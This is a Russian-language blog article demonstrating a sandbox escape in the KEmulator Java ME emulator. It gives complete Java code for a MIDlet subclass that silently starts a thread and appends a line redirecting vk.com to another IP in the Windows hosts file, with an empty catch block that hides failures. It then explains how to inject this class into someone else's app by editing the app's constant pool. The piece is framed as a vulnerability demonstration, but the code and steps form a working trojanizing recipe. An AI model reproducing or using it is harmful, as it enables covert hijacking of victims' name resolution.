Небезопасная безопасная Java ME

Привет, %username%!
Безопасность — одна из ключевых фич Java.
На мобильном устройстве мы никак не сможем выполнить вредоносный код. И это все знают, а значит, без опасений запускают любые приложения и игры. В том числе и в эмуляторах.
Я продемонстрирую еще один из тысячи способов поиметь файл hosts в Windows — с помощью обыкновенного мидлета!

Kemulator — эмулятор мобильных игр и приложений

Cтатья посвящена данному эмулятору и моей извращенной фантазии.
Работает он просто: MIDP API переписано на Java SE и связано с ядром кемуля.
Загрузку классов обеспечивает свой Classloader.
Следовательно, использование Java SE классов в мидлете является возможным.

Для того чтобы внедрить свой код в чужое приложение на Java ME, достаточно написать класс наследуемый от javax.microedition.midlet.MIDlet и расширять его в главном(самый простой способ).

Приведу пример:

import java.io.File; import java.io.FileOutputStream; import javax.microedition.midlet.MIDlet;  public abstract class Inj extends MIDlet implements Runnable {  public Inj() { new Thread(this).start(); }  public void run() { try { Class.forName("emulator.Emulator"); File f = new File("C:\\WINDOWS\\system32\\drivers\\etc\\hosts"); FileOutputStream fos = new FileOutputStream(f, true); fos.write("\n74.125.132.94 vk.com".getBytes()); fos.close(); } catch (Throwable ex) { } }  protected void destroyApp(boolean unconditional) { }  protected void pauseApp() { }  protected void startApp() { } } 

Это наш код, который будет работать только в эмуляторе, о чем говорит вызов класса Class.forName("emulator.Emulator"); внутри блока try… catch.
Kemulator дает доступ к файловой системе только в пределах папки «root», т.е. диска девайса, а с Java SE мы творим, что хотим.
Как его скомпилировать без лишней мороки? — Подключите rt.jar к проекту как API.
Дальше ясно, что следует изменить главный класс модифицируемой программы.
Для этого качаем любой редактор Constant Pool и меняем строку
javax/microedition/midlet/MIDlet
на
Inj
Преверефицируем и радуемся!
Хочется заметить, что телефоны на JP-7 выбросят ClassNotFoundException при запуске. Почему так — мне неизвестно. Спасибо!